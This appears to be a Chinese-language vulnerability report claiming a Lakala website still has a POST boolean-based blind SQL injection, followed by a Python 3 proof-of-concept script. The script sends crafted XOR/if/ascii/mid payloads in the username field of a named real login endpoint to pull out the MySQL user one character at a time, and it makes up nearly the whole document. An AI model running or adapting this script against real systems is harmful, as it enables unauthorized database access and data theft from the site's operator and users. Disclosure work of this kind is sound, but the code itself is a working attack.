拉卡拉某站依旧存在POST bool blind（附python 3验证脚本）

MySQL user is 

# -*- coding:utf-8 -*-
 import http.client
 import time
 import string
 import sys
 import random
 import urllib.request
 import urllib.parse
 import urllib
 
 headers = {'Content-Type': 'application/x-www-form-urlencoded'}
 payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
 
 print("Start to retrive MySQL User:/n")
 
 user = ''
 
 for i in range(1, 16):
     for payload in payloads:
         sys.stdout.write('.')
         sys.stdout.flush()
         conn = http.client.HTTPConnection('jzlq.lakala.com:7070', timeout=3)
         s = 'aa"XOR(if(ascii(mid(user()from(%s)for(1)))=%s,1,0))OR"bb' % (i, ord(payload))
         conn.request(method='POST',
                      url='/pos/index.php?action=login',
                      body='aptcha_keystring=&password_login=&password_login_show=&username=' + urllib.parse.quote(s),
                      headers=headers)
         html_doc = conn.getresponse().read().decode('utf-8')
         conn.close()
         if html_doc.find(u'请输入新密码') > 0:
             user += payload
             print('/r[In Progress]' + user)
             break
 
 print("/n[Done]MySQL user is %s" % user)